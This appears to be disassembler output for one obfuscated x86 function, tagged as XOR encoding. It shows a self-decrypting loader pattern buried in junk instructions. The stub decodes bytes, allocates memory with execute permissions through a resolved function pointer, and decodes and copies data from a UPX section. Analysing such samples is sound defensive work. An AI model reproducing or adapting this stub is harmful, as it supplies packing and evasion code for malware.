Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9207862c
add ecx, 0x65199039
mov ecx, ebx
popal
add ebx, ebx
inc ebx
add ebx, ecx
mov ebx, 0
mov eax, ecx
sub edi, 0x35ccd90
mov esi, 0xc9a5a72f
mov edx, eax
add edi, 0xea7e82f3
dec edi
mov ecx, edx
mov edi, 0x3632b5e1
and edi, esi
inc ebx
add esi, 0x68bb7c07
mov esi, edi
sub edi, 0xa4c8adf1
cmp ebx, 0x100419b
jne 0xa789c5
sub edi, esi
sub edi, 1
add ebx, 0x3d54815d
inc ebx
or ebx, ebx
mov edx, 0xa78796
add eax, 1
sub eax, esi
sub esi, 0x6d6e3fca
mov ebx, 0xa7898a
not esi
add esi, 0xd59d4f93
dec esi
mov edi, dword [edx]
add ecx, 0x71805a98
dec ecx
and edi, 0xff
add ecx, 0x2243757e
mov eax, esi
add ecx, 0x23a2dd6a
xor dword [ebx], edi
mov eax, 0xa70321ff
mov esi, eax
not esi
inc ebx
mov eax, esi
not eax
add edx, 1
or eax, eax
sub eax, 0x7cc29cba
sub eax, 0x7604f53f
cmp ebx, entry0
jl 0xa78a31
mov ecx, esi
inc eax
mov eax, ecx
and ecx, ecx
and esi, esi
and edi, ebx
mov edx, 0xad7d95ef
mov esi, 0xa7898e
mov edi, ecx
mov edi, 0x3b859df8
or ebx, edi
mov esi, dword [esi]
not ecx
add ecx, 0x71240d83
mov edi, ebx
mov esi, dword [esi]
sub ecx, 1
and ecx, edx
push esi
and ecx, edx
add ebx, ecx
add edx, 0xc7a1bbb
mov esi, 0xa7898a
sub ebx, 0xbdc31941
and ecx, ebx
add ecx, edi
mov esi, dword [esi]
mov edi, edx
mov edx, 0x3ce269fd
mov esi, dword [esi]
mov edx, 0xb49505b4
mov ebx, edi
push 0xa78992
and ebx, edi
add edx, edx
mov edx, 0xea32d52e
call esi
mov edi, 0x166fed8
add edi, edx
mov esi, dword [esp]
add esp, 4
mov edx, 0x3aa291e5
mov ebx, edi
push 0xa7899f
dec edx
inc ebx
sub esp, 4
mov dword [esp], eax
add edi, 0x6cd3763
dec edi
sub edx, 0xceaa0f4b
call esi
sub ebx, ecx
add edi, 0x62e3265
mov edi, ebx
push 0x40
dec edx
add edi, 0x2379e66e
sub edx, 0x37f88fde
push 0x3000
sub edi, 0x174b0f6e
add edi, 1
push 0x200002c7
not ebx
add edx, 1
not edx
push 0
add ecx, edi
add ebx, 1
call eax
and ebx, ebx
dec edi
add eax, 0x20000214
dec edx
not edx
mov ebx, edi
mov esi, 0x6a8ff36a
sub ecx, edx
mov edx, ebx
mov dword [eax], esi
mov edi, edx
mov edx, 0xf05ff35a
or edi, ebx
mov esi, dword [eax]
mov ecx, ebx
mov ebx, ecx
cmp esi, 0x6a8ff36a
je 0xa78ba0
mov ecx, 0
mov dword [ecx], eax
not edx
and ebx, ecx
or edx, ecx
mov edi, ecx
mov ebx, 0x319cf2e9
not ecx
add ebx, 0x267fd8ae
mov edx, section.UPX1
sub ecx, ebx
add ebx, ebx
mov edi, 0xa78795
add ecx, 0x64e101e1
sub ebx, 0x137eaf60
and ebx, ecx
mov esi, 0
add ecx, ecx
sub ebx, ecx
mov eax, 0xa78796
add ecx, ebx
mov ebx, ecx
add ecx, 0xe5c2aeaa
lea eax, [eax + esi]
sub ebx, ecx
or ecx, ecx
or ebx, ebx
mov eax, dword [eax]
and ecx, ebx
dec ecx
dec ebx
and eax, 0xff
not ecx
sub ebx, ecx
sub ecx, ebx
inc esi
inc ecx
not ecx
cmp esi, 0x1f4
jne 0xa78c15
mov esi, 0
sub ecx, 0xe7ba79b1
mov ecx, 0x3d259327
add ebx, ecx
dec ebx
mov ebx, 0x41e0407c
xor dword [edx], eax
and ebx, ecx
sub ebx, 1
add ecx, ecx
add edx, 2
not ecx
sub ebx, ecx
cmp edx, edi
jl 0xa78bda
sub ecx, 0x2a1804e0
or ebx, ecx
add ecx, 0xbe69a433
or ebx, ecx
or ebx, ebx
mov edi, section.UPX1
add eax, 0x8dfa78b7
sub ebx, eax
dec ebx
mov esi, section.UPX1
add ebx, 0x6704793e
and ebx, ebx
sub ebx, 0x5e83a216
mov edx, 0xa78795
mov eax, ebx
sub ebx, eax
mov ebx, eax
mov ecx, 0
sub ebx, eax
mov eax, 0xd558d374
mov cl, byte [esi]
sub eax, 0xddc4fc1
add ebx, 0x55b027ab
dec eax
mov byte [edi], cl
or ebx, ebx
and ebx, ebx
or eax, eax
inc edi
mov eax, ebx
not eax
inc ebx
add esi, 2
sub eax, 0xcb559cce
inc ebx
sub ebx, 0xbbb717
cmp esi, edx
jle 0xa78c90
mov eax, ebx
sub eax, 0xcf29f7bf
sub eax, ebx
mov ebx, ecx
not ebx
dec ecx
push 0x8dc6a0
sub ebx, 0xd69457e7
not ecx
ret